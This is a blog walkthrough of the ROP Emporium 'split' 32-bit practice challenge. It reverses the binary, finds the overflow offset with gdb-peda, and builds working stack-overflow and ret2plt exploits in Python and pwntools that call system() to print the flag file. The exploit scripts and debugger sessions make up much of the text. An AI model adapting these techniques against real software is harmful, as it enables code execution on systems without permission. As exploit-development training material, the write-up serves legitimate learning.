Solving split — ROP Emporium Part 2

Hey ya’ll!

Today, we’re going to be continuing with our ROP Emporium series, talking about the Split challenge. You can find the details of the challenge as well as challenge binaries over at ROP Emporium’s challenge page. Today, we’ll work on the 32-bit version (x86 / i386) of the executable to build our ROP chain. To get started though, we need to understand what we’re working with.

Reversing the Split executable in Binary Ninja

So we open the binary and let it perform it’s initial analysis (this should be relatively quick even on the personal edition due to the small size of the executable).

split32's _start function

split32’s _start function

As always, we’re immediately presented with the _start function for the binary. In the left hand side bar, we see a few functions which are interesting or will be of use to us:

  • system (highlighted in orange, 5th function in the list)
  • main (highlighted in white, 16th function in the list)
  • pwnme (highlighted in white, 17th function in the list)
  • usefulFunction (highlighted in white, 18th function in the list)

These catch my attention for a few reasons. First, system is of interest to us because we know from the challenge description that we need to use the system command to execute our command to display the flag. We know this from the hint that is given, “I’ll let you in on a secret; that useful string “/bin/cat flag.txt” is still present in this binary, as is a call to system().”

Second, main is of interest because looking at our _start function, we can see that it calls main, so this is most likely where pwnme or other functions are being called from. A quick look at the main function’s disassembly confirms this (the specific line of interest is highlighted in orange):

split32 _main function

split32 _main function disassembly

Simplified using Binary Ninja’s medium intermediate language:

split32 _main in Binary Ninja's medium intermediate language

split32 _main in Binary Ninja’s medium intermediate language

With this in mind, let’s dig right into pwnme and see what’s going on there. We can do this by double clicking on the function name, pwnme, in the assembly or IL on screen. When we do this, we see that the pwnme function is pretty similar to what we had seen in the ret2win challenge binary:

pwnme function assembly

pwnme function assembly

pwnme function in medium IL

pwnme function in medium IL

We notice that once again we’re using fgets to load data into memory. Looking at the assembly, we can see that the load effective address (lea) that we noticed in ret2win is still loading 40 (0x28) bytes:


push eax {var_34}
push 0x60 {var_38}
lea eax, [ebp-0x28 {var_2c}] push eax {var_2c} {var_3c_1}
call fgets

Let’s verify that we can crash the binary with a 41 byte payload

Exploiting the split executable manually

So as we said, let’s crash the program. We’ll use python to generate a 41 byte payload of A’s and give that to the program

41-byte payload causes segmentation fault

41-byte payload causes segmentation fault

Perfect, this means things are occurring how we expect. Let’s take a look at if we have control over EIP and where it is. Unlike the ret2win challenge where we used metasploit-framework’s pattern_create.rb and pattern_offset.rb, today we’ll use GDB PEDA (GNU Debugger with the Python Exploit Development Assistance add-on) to generate a pattern and locate the offset of it.

First, let’s make sure we are overwriting EIP:


root@kali:~/rop-emporium/split# python -c 'print("A"*50)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
root@kali:~/rop-emporium/split# gdb split32 -q
Reading symbols from split32...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /root/rop-emporium/split/split32
split by ROP Emporium
32bits
.
Contriving a reason to ask user for data...
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
.
Program received signal SIGSEGV, Segmentation fault.

This succcessfully crashes the program, giving us the following output in gdb-peda:

gdb-peda output from 50 byte buffer crash

gdb-peda output from 50 byte buffer crash

You’ll notice that this output is a bit more direct than our previous GDB use, as it immediately shows us the registers and other interesting data at the time of the crash. We can see quickly that EIP was successfully overwritten by our A’s, on the line:


EIP: 0x41414141 ('AAAA')

With this successful, let’s figure out where this is located. In peda, we’ll use the “pattern” command to generate a pattern of length 50, which we’ll give to the program, like so:


gdb-peda$ pattern create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ run
Starting program: /root/rop-emporium/split/split32
split by ROP Emporium
32bits
.
Contriving a reason to ask user for data...
> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
.
Program received signal SIGSEGV, Segmentation fault.

With our pattern created we can run the program again using the run command and pass our pattern to the program to cause a crash with unique pattern data. With the program crashed, we then use the pattern search to locate the pattern offset:

using gdb peda to locate the offset of EIP

using gdb peda to locate the offset of EIP

Awesome, so we have control over EIP at offset 44. Now we need to do the hard part, and figure out how to call system and cat the flag file. To do this, we’re going to need a little bit of information. First, we need to know where the command to cat the flag out is, and second, we need to know where the system command is. Let’s find these.

If we start off looking for system, we’re going to look in the useful function, since that hints to us that, well, it could be useful. In this, we see something that would be valuable to us. A call to system, and a reference to push /bin/ls:


08048652 push 0x8048747 {var_1c} {"/bin/ls"}
08048657 call system

This looks like what we basically want to achieve, except we don’t actually want to execute /bin/ls, we want to execute /bin/cat flag.txt. Let’s modify our exploit though and see if we can use this, as it is, to perform a directory listing.

To do this, we’ll replace our EIP value, at offset 44, with the memory address of the push /bin/ls into the stack. The exploit will look like so:

system(/bin/ls) call

system(/bin/ls) call

Voil&‌agrave;! We have a working system command. This is a great start. Now though, we need to replace the /bin/ls command with our own command. But what is the system command really doing here? Well, in x86, the way that a call works is that we perform the call, and the argument(s) will be popped off the stack by that function. Normally, the system command in c would have the function signature of:


int system(const char *command)

This means that system is going to pop a single argument / value off of the stack and use that as the command. In this case, it’s going to pop “/bin/ls” off of the stack and execute that. We can verify this by setting a break point and looking at what ESP, the extended stack pointer which points to the top of the stack. This means that as we add to the stack via PUSH commands, ESP will be decremented, since the stack grows down and when we remove data from the stack via POP commands, ESP will be incremented.

Let’s take a look at what’s at the top of the stack (ESP) when we hit the system command. To do this, we’ll set a breakpoint at 0x08048657 like so:


root@kali:~/rop-emporium/split# python exploit.py > input
root@kali:~/rop-emporium/split# gdb -q split32
Reading symbols from split32...(no debugging symbols found)...done.
gdb-peda$ break *0x08048657
Breakpoint 1 at 0x8048657
gdb-peda$ run

When we do this, we successfully hit our breakpoint, as seen below:

breakpoint before calling system()

breakpoint before calling system()

Looking at this, we see that the next instruction is the call system() command, and our ESP register contains a pointer to /bin/ls. Let’s see if we can replace this pointer with one of our own, such as the pointer to /bin/cat. To do this, we modify our exploit so that we send padding up until overwrite EIP (44 bytes of padding in this case). Once we are at EIP, we want to have EIP point to the call system command located at 0x08048657. This is because following that, in the next 4 bytes, which will go onto the stack, we can put the address of /bin/cat flag.txt.

Sadly, we don’t know where that is yet though. So let’s switch from the graph view to the strings view. Doing so, we’ll quickly see the /bin/cat flag.txt command located at 0x0804a030:

/bin/cat flag.txt command location

/bin/cat flag.txt command location

With that in mind, lets update our exploit code to:


#!/usr/bin/env python
#
padding = 'A'*44
call_system_addr = '\x57\x86\x04\x08'
bin_cat_flag_addr = '\x30\xa0\x04\x08'
evil_buf = padding + call_system_addr + bin_cat_flag_addr
#
print(evil_buf)

We don’t want to run this though and just hope that the /bin/cat pointer is actually put into ESP though, we want to be sure. The easiest way for us to do this is to set a breakpoint at the memory address for call system and verify that the /bin/cat flag.txt address is in the ESP register as we expect.


root@kali:~/rop-emporium/split# python exploit.py > input
root@kali:~/rop-emporium/split# gdb -q split32
Reading symbols from split32...(no debugging symbols found)...done.
gdb-peda$ break *0x08048657
Breakpoint 1 at 0x8048657
gdb-peda$ run < input Starting program: /root/rop-emporium/split/split32 < input split by ROP Emporium 32bits . Contriving a reason to ask user for data... >

Which causes us to hit our breakpoint, and display the register information we want to view:

ESP register contains pointer to /bin/cat flag.txt

ESP register contains pointer to /bin/cat flag.txt

Fantastic! This seems to be doing what we hoped for! If we run it without gdb, we see that we get the flag, as we expected.

Successfully using the system command to gain the flag

Successfully using the system command to gain the flag

Automating Exploitation using Pwntools

Now that we have a working manual exploit, let’s simplify things by using pwntools. Ideally, we’d start with pwntools instead, but I find that the more time we spend learning how things work manually, the better off we’ll be when things go wrong when using libraries like pwntools

To get started, we need to load the split32 elf and ensure that it has both a system command and the string /bin/cat flag.txt. Luckily, pwntools makes it easy for us to do this using the ELF class’s symbols dictionary and search method, like so. Note first that search normally returns a generator object, so we have to use the next() method to access the actual value and secondly that we are using format strings with the 08X notation to specify that we want the value to be formatted as an eight digit hex value, not shortened if the first number is a zero.


#!/usr/bin/env python
from pwn import *
# Prepare the binary
context.update(binary='split32', log_level='info')
e = ELF('split32')
# Locate the system and /bin/cat flag.txt addresses
call_system_addr = e.symbols['system'] cat_flag_addr = e.search('/bin/cat flag.txt').next()
# Print these to screen so we can compare with our previous exploit
info('call system addr: 0x{sa:08X}'.format(sa=call_system_addr))
info('/bin/cat flag.txt addr: 0x{cf:08X}'.format(cf=cat_flag_addr))

When we do this, we see that we get a different location for system than what we had used. That’s odd, let’s try to understand why pwntools found this one instead.

pwntools vs manual exploitation

pwntools vs manual exploitation

If we look into this more, we’ll see that pwntools has located the address of the system call that was in our left hand sidebar:

system function from sidebar function list

system function from sidebar function list

Interesting, let’s see if we can adjust our manual exploit to leverage this instead and see if it works the same way our current exploit does. We’ll start off by replacing the call system address with our new system address, and check what happens in gdb-peda, like so:


root@kali:~/rop-emporium/split# python exploit-pwntools-system.py > input
root@kali:~/rop-emporium/split# gdb -q split32
Reading symbols from split32...(no debugging symbols found)...done.
gdb-peda$ break *0x08048430
Breakpoint 1 at 0x8048430
gdb-peda$ run < input Starting program: /root/rop-emporium/split/split32 < input split by ROP Emporium 32bits . Contriving a reason to ask user for data... >

Doing so, we see our breakpoint hit:

breakpoint at our new system symbol

breakpoint at our new system symbol

Great! Our value is in ESP. At first glance, everything looks perfect, but if look closely we’ll notice a difference between this and our previous code. Unlike before, where we were jumping to a direct call system command, this is actually a jump to system. Let’s run the current exploit and see if it does what we would have expected before:


root@kali:~/rop-emporium/split# cat exploit-pwntools-system.py
#!/usr/bin/env python
#
padding = 'A'*44
call_system_addr = '\x30\x84\x04\x08'
bin_cat_flag_addr = '\x30\xa0\x04\x08'
evil_buf = padding + call_system_addr + bin_cat_flag_addr
#
print(evil_buf)
root@kali:~/rop-emporium/split# python exploit-pwntools-system.py | ./split32
split by ROP Emporium
32bits
.
Contriving a reason to ask user for data...
> Segmentation fault

No flag! This change from call system to jmp dword system@got broke something. If we look into this form of exploitation, you may notice the exploit type that’s occurring here. We’ve actually changed how we’re performing our exploit, and instead of using a system call method, we’re instead using a ret2plc, which is similar to ret2libc, in this example. This means that in between our return to system and our first argument, there is actually supposed to be a dword length return address. I highly recommend reading this paper which explains how this functions and the reason for this space in the stack. This leaves us with:


#!/usr/bin/env python
#
padding = 'A'*44
call_system_addr = '\x30\x84\x04\x08'
dword_padding = 'JUMP'
bin_cat_flag_addr = '\x30\xa0\x04\x08'
evil_buf = padding + call_system_addr + dword_padding + bin_cat_flag_addr
#
print(evil_buf)

Running this, we now get our flag!

manual flag using system symbol rather than usefulFunction

manual flag using system symbol rather than usefulFunction

Now that we have our manual exploit working again, let’s go back to pwntools and continue moving forward with our pwntools exploit. Now that we see what our actual target addresses are that pwntools will be using, we can create our ROP chain. Luckily, there is an easy way to leverage system within pwntools, and we can call system on our /bin/cat flag.txt string using the ROP class’s system function. Then, using the dump method, we can view the ROP chain that pwntools has generated for us:

pwntools ROP chain dump

pwntools ROP chain dump

Nice! This shows that it’s going to call system, place a four byte pad between the system jump double word and the command string pointer. This matches our manual exploit! With our ROP chain together, we’ll use the same process of generating a cyclic pattern, loading the core file and identifying the offset of EIP


#!/usr/bin/env python
#
from pwn import *
#
# Prepare the binary
context.update(binary='split32', log_level='info')
e = ELF('split32')
#
call_system_addr = e.symbols['system'] cat_flag_addr = e.search('/bin/cat flag.txt').next()
#
info('call system addr: 0x{sa:08X}'.format(sa=call_system_addr))
info('/bin/cat flag.txt addr: 0x{cf:08X}'.format(cf=cat_flag_addr))
#
# Load the ELF into the ROP class so that we can identify symbols
# and gadgets
rop = ROP(e)
rop.system(cat_flag_addr)
info(rop.dump())
#
# Locate EIP
buf = cyclic(50)
#
info('Starting process to location the value of EIP at the crash time')
# Start the elf, and wait for it to be ready for input
p = process(e.path)
# Wait till the process is ready for our input
p.recvuntil('> ')
# Send our exploit
p.sendline(buf)
# Wait for the crash to occur
p.wait()
#
# The program should have crashed now
info('Loading core dump to identify the cause of the crash')
core = Coredump('core')
eip_val = core.eip
info('EIP contained {v:08X} at the time of the crash'.format(v=eip_val))
offset = cyclic_find(eip_val)
info('EIP is located at offset {o}'.format(o=int(offset)))

Running this, we see that we have successfully located the value of EIP:

successfully located the value of EIP using pwntools

successfully located the value of EIP using pwntools

With the offset located, we can now send our final exploit payload, causing us to receive a shell. We’ll do this by restarting the process, creating our payload and sending it to the process. Unlike before, we’ll use the fit method to create our payload this time. This method is talked about more in the pwntools documentation, but essentially it takes a dictionary with offsets as keys and the item that should go there as the value. This will leave us with the following exploit:


#!/usr/bin/env python
#
from pwn import *
#
# Prepare the binary
context.update(binary='split32', log_level='info')
e = ELF('split32')
#
call_system_addr = e.symbols['system'] cat_flag_addr = e.search('/bin/cat flag.txt').next()
#
info('call system addr: 0x{sa:08X}'.format(sa=call_system_addr))
info('/bin/cat flag.txt addr: 0x{cf:08X}'.format(cf=cat_flag_addr))
#
# Load the ELF into the ROP class so that we can identify symbols
# and gadgets
rop = ROP(e)
rop.system(cat_flag_addr)
info(rop.dump())
#
# Locate EIP
buf = cyclic(50)
#
info('Starting process to location the value of EIP at the crash time')
# Start the elf, and wait for it to be ready for input
p = process(e.path)
# Wait till the process is ready for our input
p.recvuntil('> ')
# Send our exploit
p.sendline(buf)
# Wait for the crash to occur
p.wait()
#
# The program should have crashed now
info('Loading core dump to identify the cause of the crash')
core = Coredump('core')
eip_val = core.eip
info('EIP contained {v:08X} at the time of the crash'.format(v=eip_val))
offset = cyclic_find(eip_val)
info('EIP is located at offset {o}'.format(o=int(offset)))
# Build our evil buffer
evil_buf = fit({ offset: str(rop) })
p = process(e.path)
p.recvuntil('> ')
# Send our evil buffer
p.sendline(evil_buf)
# Receive our flag and print it to screen
flag = p.recvline()
success(flag)

successful pwntools exploitation

successful pwntools exploitation

Success! We’ve successfully built our first ROP chain both manually and using automation and successfully read the flag.

Kevin Kirsche

Author Kevin Kirsche

Kevin is a Principal Security Architect with Verizon. He holds the OSCP, OSWP, OSCE, and SLAE certifications. He is interested in learning more about building exploits and advanced penetration testing concepts.

More posts by Kevin Kirsche

Leave a Reply